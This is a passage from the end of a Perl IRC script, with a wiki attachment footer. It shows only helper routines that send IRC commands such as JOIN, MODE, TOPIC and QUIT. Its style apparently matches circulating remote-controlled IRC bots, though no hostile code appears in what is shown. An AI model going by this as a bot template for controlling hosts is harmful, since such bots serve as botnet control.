856 sendraw("PRIVMSG $_[0] :\001$_[1]\001");
857 }
858 sub notice {
859 return unless $#_ == 1;
860 sendraw("NOTICE $_[0] :$_[1]");
861 }
862 sub op {
863 return unless $#_ == 1;
864 sendraw("MODE $_[0] +o $_[1]");
865 }
866 sub deop {
867 return unless $#_ == 1;
868 sendraw("MODE $_[0] -o $_[1]");
869 }
870 sub voice {
871 return unless $#_ == 1;
872 sendraw("MODE $_[0] +v $_[1]");
873 }
874 sub devoice {
875 return unless $#_ == 1;
876 sendraw("MODE $_[0] -v $_[1]");
877 }
878 sub j { &join(@_); }
879 sub join {
880 return unless $#_ == 0;
881 sendraw("JOIN $_[0]");
882 }
883 sub p { part(@_); }
884 sub part {sendraw("PART $_[0]");}
885 sub nick {
886 return unless $#_ == 0;
887 sendraw("NICK $_[0]");
888 }
889 sub quit {
890 sendraw("QUIT :$_[0]");
891 exit;
892 }
893 sub modo {
894 return unless $#_ == 0;
895 sendraw("MODE $_[0] $_[1]");
896 }
897 sub mode { modo(@_); }
898
899 sub invite {
900 return unless $#_ == 1;
901 sendraw("INVITE $_[1] $_[0]");
902 }
903
904 sub topico {
905 return unless $#_ == 1;
906 sendraw("TOPIC $_[0] $_[1]");
907 }
908 sub topic { topico(@_); }
909
910 sub away {
911 sendraw("AWAY $_[0]");
912 }
913 sub back { away(); }
914
915 }
916
917 ###################
918 ##### [ EOF ] #####
919 ###################
Attached Files
To refer to attachments on a page, use attachment:filename, as shown below in the list of files. Do NOT use the URL of the [get] link, since this is subject to change and can break easily.You are not allowed to attach a file to this page.